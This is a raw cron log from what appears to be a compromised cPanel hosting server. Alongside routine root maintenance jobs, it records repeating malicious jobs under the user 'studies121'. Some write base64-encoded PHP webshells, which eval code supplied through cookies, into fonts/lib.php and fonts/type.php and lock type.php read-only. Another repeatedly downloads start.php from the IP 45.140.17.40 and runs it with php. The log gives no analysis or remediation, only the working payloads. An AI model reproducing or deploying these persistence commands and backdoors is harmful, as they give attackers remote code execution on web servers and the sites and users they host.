Sep 11 12:35:01 ip-184-168-122-23 CROND[3631]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:35:01 ip-184-168-122-23 CROND[3636]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:35:01 ip-184-168-122-23 CROND[3632]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:35:01 ip-184-168-122-23 CROND[3633]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 12:35:01 ip-184-168-122-23 CROND[3634]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:35:01 ip-184-168-122-23 CROND[3637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:36:02 ip-184-168-122-23 CROND[3893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:36:02 ip-184-168-122-23 CROND[3896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:36:02 ip-184-168-122-23 CROND[3897]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:36:02 ip-184-168-122-23 CROND[3895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:36:02 ip-184-168-122-23 CROND[3898]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:37:02 ip-184-168-122-23 CROND[3984]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:37:02 ip-184-168-122-23 CROND[3985]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:37:02 ip-184-168-122-23 CROND[3987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:37:02 ip-184-168-122-23 CROND[3988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:38:02 ip-184-168-122-23 CROND[4066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:38:02 ip-184-168-122-23 CROND[4068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:38:02 ip-184-168-122-23 CROND[4069]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:38:02 ip-184-168-122-23 CROND[4071]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:38:02 ip-184-168-122-23 CROND[4070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:39:01 ip-184-168-122-23 CROND[4183]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:39:01 ip-184-168-122-23 CROND[4184]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:39:01 ip-184-168-122-23 CROND[4185]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:39:01 ip-184-168-122-23 CROND[4187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:39:01 ip-184-168-122-23 CROND[4188]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 12:40:01 ip-184-168-122-23 CROND[4281]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:40:01 ip-184-168-122-23 CROND[4282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:40:01 ip-184-168-122-23 CROND[4284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:40:01 ip-184-168-122-23 CROND[4286]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:40:01 ip-184-168-122-23 CROND[4288]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:40:01 ip-184-168-122-23 CROND[4289]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:40:01 ip-184-168-122-23 CROND[4292]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:40:01 ip-184-168-122-23 CROND[4290]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:41:01 ip-184-168-122-23 CROND[4474]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:41:01 ip-184-168-122-23 CROND[4476]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:41:01 ip-184-168-122-23 CROND[4475]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:41:01 ip-184-168-122-23 CROND[4477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:42:01 ip-184-168-122-23 CROND[4580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:42:01 ip-184-168-122-23 CROND[4581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:42:01 ip-184-168-122-23 CROND[4582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:42:01 ip-184-168-122-23 CROND[4583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:42:01 ip-184-168-122-23 CROND[4584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:43:01 ip-184-168-122-23 CROND[4672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:43:01 ip-184-168-122-23 CROND[4675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:43:01 ip-184-168-122-23 CROND[4674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:43:01 ip-184-168-122-23 CROND[4673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:44:01 ip-184-168-122-23 CROND[4833]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:44:01 ip-184-168-122-23 CROND[4835]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:44:01 ip-184-168-122-23 CROND[4837]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:44:01 ip-184-168-122-23 CROND[4839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:44:01 ip-184-168-122-23 CROND[4838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:45:01 ip-184-168-122-23 CROND[4970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:45:01 ip-184-168-122-23 CROND[4972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:45:01 ip-184-168-122-23 CROND[4973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:45:01 ip-184-168-122-23 CROND[4974]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:45:01 ip-184-168-122-23 CROND[4975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:45:01 ip-184-168-122-23 CROND[4977]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:45:01 ip-184-168-122-23 CROND[4976]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep 11 12:46:01 ip-184-168-122-23 CROND[5133]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:46:01 ip-184-168-122-23 CROND[5134]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 12:46:01 ip-184-168-122-23 CROND[5136]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 12:46:01 ip-184-168-122-23 CROND[5138]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:46:01 ip-184-168-122-23 CROND[5139]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:46:01 ip-184-168-122-23 CROND[5140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:46:01 ip-184-168-122-23 CROND[5141]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 12:47:01 ip-184-168-122-23 CROND[5341]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 12:47:01 ip-184-168-122-23 CROND[5342]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
